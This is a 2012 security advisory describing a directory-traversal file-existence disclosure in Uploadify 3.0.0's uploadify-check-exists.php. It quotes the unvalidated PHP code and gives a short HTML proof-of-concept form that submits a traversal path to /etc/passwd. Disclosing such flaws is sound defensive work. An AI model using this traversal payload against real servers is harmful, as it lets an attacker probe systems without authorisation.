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[waraxe-2012-SA#082] - File Existence Disclosure in Uploadify 3.0.0

Author: Janek Vind "waraxe"
Date: 05. April 2012
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-82.html

Description of vulnerable software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Uploadify is a jQuery plugin that integrates a fully-customizable multiple file
upload utility on your website. It uses a mixture of Javascript, ActionScript,
and any server-side language to dynamically create an instance over any DOM
element on a page.

http://www.uploadify.com/

Vulnerable versions
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Affected is Uploadify version 3.0.0.

###############################################################################
1. File Existence Disclosure vulnerability in "uploadify-check-exists.php"
###############################################################################

Reason: missing input data validation
Attack vector: user submitted POST parameter "filename"
Preconditions: none
Result: attacker can reveal existance of files and directories on remote system

Source code snippet from script "uploadify-check-exists.php":
-----------------[ source code start ]---------------------------------
if (file_exists($_SERVER['DOCUMENT_ROOT'] . '/uploads/' . $_POST['filename'])) {
echo 1;
} else {
echo 0;
}
-----------------[ source code end ]-----------------------------------

We can see, that user submitted POST parameter "filename" is used in argument
for php function "file_exists()". There is no input data validation, therefore
attacker can use directory traversal and reveal existence of arbitrary files
and directories on affected system.

Test:
-----------------[ PoC code start ]-----------------------------------
<html><body><center>
<form action="http://localhost/uploadify-v3.0.0/uploadify-check-exists.php" method="post">
<input type="hidden" name="filename" value="../../../../../../../../etc/passwd">
<input type="submit" value="Test">
</form>
</center></body></html>
-----------------[ PoC code start ]-----------------------------------

Result: 1

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Waraxe forum: http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Random project: http://albumnow.com/
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